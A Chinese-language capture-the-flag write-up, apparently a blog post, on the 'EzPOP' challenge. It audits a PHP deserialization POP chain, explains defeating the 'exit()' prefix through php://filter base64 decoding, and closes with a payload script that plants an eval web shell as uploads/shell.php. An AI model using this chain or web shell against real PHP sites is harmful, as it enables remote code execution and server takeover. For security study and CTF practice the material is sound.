[EIS 2019]EzPOP 代码审计 死亡绕过

点击查看代码
<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;   // php://filter/write=convert.base64-decode/resource=uploads/.$name name是从A中的key来的,可控。
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize']; //$serialize =base64_decode

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);  // filename= "php://filter/write=convert.base64-decode/resource=uploads/.$name"

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);  //解码完成数据为abcPD9waHAgQGV2YWwoJF9QT1NUWyJhIl0pOyA/Pg==  其实是'abc'.base64_encode('<?php @eval($_POST["a"]); ?>'  所以需要再次decode

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);  // 利用点  文件名decode则前边的exit代码则会解码为base64不支持的字符会去掉,而后边只剩下<?php @eval($_POST["a"]); ?>
        

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

题目直接给了源码,审计。
点击查看代码
$data = "<?php\n//" . sprintf('%012d', $exitexpire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
可以看到利用点在这里,传参data为一句话木马来解决,需要绕过
点击查看代码
<?php\n//000000000000\nexit();?>   32个字符正好是4的倍数
那么可以知道的是$filename需要为php://filter/write=convert.base64-decode/resource=uploads/xxx.php

filename是通过getCacheKey来的,name是set的参数,在A::save触发set,key参数则是文件名xxx.php可控。

再看看$data,经过$this->serialize($value),value是set参数,serialize函数进去看看,发现return $serialize($data),而 $serialize是可控的,先往下看,value是通过$contents = $this->getForStorage();来的。

getForStorage
public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }
那么这里的cache可控,下一步可能有点难理解。

我们要是将$serialize设置为base64_decode,那么cache为空数组时,刚好可以进行解码。(给一句话木马前加字符是需要凑够4的倍数,因为经过decode一次后死亡代码变成了php//000000000000exit,长度不足4的倍数)

那么这时问题就清晰了。直接上payload:

payload
<?php

class A {
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($store,$key,$expire)
    {
        $this->key=$key;
        $this->expire=$expire;
        $this->store=$store;
    }
}

class B{
    public $option;
}

$b=new B();
$b->options['serialize']='base64_decode';
$b->options['data_compress']=false;
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/';

$a=new A($b,'shell.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode('abc'.base64_encode('<?php @eval($_POST["a"]); ?>'));

echo urlencode(serialize($a));
posted @ 2024-07-30 17:39  jockerliu  阅读(21)  评论(0编辑  收藏  举报